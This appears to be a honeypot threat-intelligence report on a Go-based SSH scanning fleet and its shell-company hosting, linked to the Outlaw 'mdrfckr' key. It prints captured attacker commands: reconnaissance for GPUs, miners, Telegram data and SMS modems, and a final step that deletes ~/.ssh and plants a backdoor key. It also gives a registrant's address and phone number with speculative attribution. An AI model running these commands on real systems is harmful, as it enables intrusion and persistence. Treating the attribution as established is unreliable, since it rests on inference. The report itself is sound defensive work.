⚙️ The Go Machine

I. The Fingerprint That Connects 22 Machines

In cryptographic network forensics, HASSH is a fingerprint derived from the SSH key exchange algorithm negotiation. Two machines producing identical HASSH values are running the same SSH client implementation — same library, same compile options, same version. It is the DNA of the tool.

Fingerprint 2ec37a7cc8daf20b10e1ad6221061ca5 appears across 22 distinct IP addresses in our honeypot data. Every single one identifies itself as SSH-2.0-Go.

This is not coincidence. This is a fleet. Twenty-two machines running identical Go binaries, executing identical command sequences, sharing the same HASSH fingerprint. They were compiled from the same source code, deployed simultaneously across multiple hosting providers, and operated as a unified reconnaissance platform.

II. The Shell Companies Behind the Fleet

The fleet operates across four Autonomous Systems, three of which are registered to Seychelles shell companies:

Note what unites them: TechTies was created on 20 May 2026. Our honeypot first observed activity from this cluster on 21 May 2026. The ASN registration and the attack campaign began on consecutive days. This is a purpose-built infrastructure — the company was created specifically to operate this scanning fleet.

III. The Nine-Phase Payload

Every node in the Go Machine executes an identical command sequence. We have captured it 82+ times from 12 different IPs. The payload is not random — it is a precisely ordered nine-phase reconnaissance protocol:

uname -s -v -n -m 2 > /dev/null
/bin/uname -s -v -n -m 2 > /dev/null
/usr/bin/uname -s -v -n -m 2 > /dev/null
busybox uname -s -v -n -m 2 > /dev/null
[ -f /proc/version ]
head -1 /proc/version | cut -d -f1
[ -f /etc/os-release ]

cat /proc/cpuinfo
nproc
lscpu | grep "Model name"
lspci | grep -i vga
lspci | grep -i nvidia

m=0; while read k v r; do [ "$k" = MemTotal: ] && { m=$v; break; }
done < /proc/meminfo; [ "$m" -gt 1048576 ] && echo 1 || echo 0

ps | grep '[Mm]iner'
ps -ef | grep '[Mm]iner'

ls -la ~/.local/share/TelegramDesktop/tdata
     /home/*/.local/share/TelegramDesktop/tdata
     /dev/ttyGSM* /dev/ttyUSB-mod*
     /var/spool/sms/* /var/log/smsd.log
     /etc/smsd.conf* /usr/bin/qmuxd
     /var/qmux_connect_socket /etc/config/simman
     /dev/modem* /var/config/sms/*

/ip cloud print

locate D877F783D5D3EF8Cs

printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250
printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250

echo '123456' | sudo -S bash -c '...'
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAA...oRw== mdrfckr">>.ssh/authorized_keys

IV. The Metronome Connection

IP 195.178.110.217 — documented extensively in TI-2026-056B as "The Metronome" — is confirmed as a member of this Go cluster. Same HASSH, same commands, same binary. But the Metronome has a unique characteristic: it operates at 105.8-second intervals with 3.2% coefficient of variation.

This tells us something critical about the cluster's architecture:

• The scanning nodes (91.92.x.x, 92.118.x.x) execute bursts of activity
• The Metronome executes the same payload but on a timer
• One is the hunting pack, the other is the sentinel

The Metronome isn't scanning for new targets. It's re-checking known compromises. Every 105.8 seconds, it verifies that previously-owned machines are still accessible. It is the heartbeat monitor for an inventory of enslaved systems.

V. The Anastasiia Connection

A second cluster operates alongside the Go Machine. Different fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963. Client: SSH-2.0-libssh2_1.11.1. Five nodes:

AS42237 (w1n) is registered to ORG-WL303-RIPE with admin and tech contact AA39751-RIPE. RIPE reveals:

role:        Anastasiia
address:     UNITED KINGDOM
address:     Doncaster
address:     DN6 8DA
address:     Dept 302, 43 Owston Road, Carcroft
phone:       +380502309318
created:     2022-07-07T07:42:10Z
last-modified: 2026-01-09T11:38:38Z

Key observations:

• The role name is "Anastasiia" — a Ukrainian female name
• The phone number +380 is a Ukrainian mobile prefix
• The address is in Doncaster, England — a known mail-forwarding location
• "Dept 302" strongly suggests a virtual office / mail drop
• The company phone listed as +3805023019318 has an extra digit — likely intentionally malformed to prevent callbacks

This is the pattern: Ukrainian operator, UK shell company registration, Latvian and Swedish hosting. Three jurisdictions between the operator and the infrastructure. And the w1n cluster feeds data to the same network — same credentials (admin/admin, admin/123456), same temporal patterns.

VI. What They're Building

Synthesizing the command payload with the infrastructure analysis, the Go Machine is constructing a multi-dimensional asset inventory:

This is not brute-force scanning. This is automated real-estate appraisal. Each compromised machine is categorized, valued, and catalogued. The different asset classes suggest different downstream buyers or operational divisions:

• GPU farm → cryptomining or rented compute (pennies per hour, millions of hosts = millions per year)
• Telegram data → account takeover operations, blackmail material, identity fraud
• GSM infrastructure → SMS verification service (sell access at $0.10–$1.00 per verification)
• Routers → VPN-as-a-service for criminals, residential proxy networks

VII. The mdrfckr Key

The SSH public key planted in Phase 9 deserves special attention:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcw
dli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+
0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTF
B+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAK
GwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+
u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rB
LAsPKgAySVKPRK+oRw== mdrfckr

This key has been documented in public threat intelligence since at least 2019. It is associated with the Outlaw/Dota botnet — a Perl-based IRC botnet focused on cryptomining. The "mdrfckr" label is the operator's signature, unchanged for 7+ years.

Our earlier investigations (TI-2026-050D "The Machinery") documented this operator changing tools approximately one month ago — May 2026. The timeline is now crystal clear:

This is not a franchise or false flag. This is the same operator who upgraded from Perl to Go, registered fresh shell companies for clean infrastructure, and deployed a dramatically more sophisticated reconnaissance platform. The mdrfckr key is retained as persistent access — the one constant across the retooling. Seven years of the same SSH key means seven years of machines with that key in authorized_keys, all still accessible regardless of the scanning tool evolution.

The retooling explains the sophistication gap: Outlaw's Perl scripts were crude IRC-controlled miners. The Go Machine is a multi-phase reconnaissance platform with honeypot detection, GPU valuation, and telecom infrastructure theft. Same operator, radically upgraded capability. The criminal enterprise matured.

VIII. Operational Tempo

From our heatmap data (last 7 days):

The Wednesday pattern — documented across the entire Codebook series (TI-2026-056D) — is clearly visible in the Go Machine's operations. This confirms the 22-node cluster is part of the broader Codebook network, not an independent actor. Same timing, same infrastructure ecosystem, same operational cadence.

IX. Conclusions

The Go Machine is not the brain. It is the eyes and hands — the sensor array that identifies, categorizes, and tags assets for later exploitation. The brain is whatever receives the Wednesday transmission and issues orders. We have mapped the periphery. The center remains dark.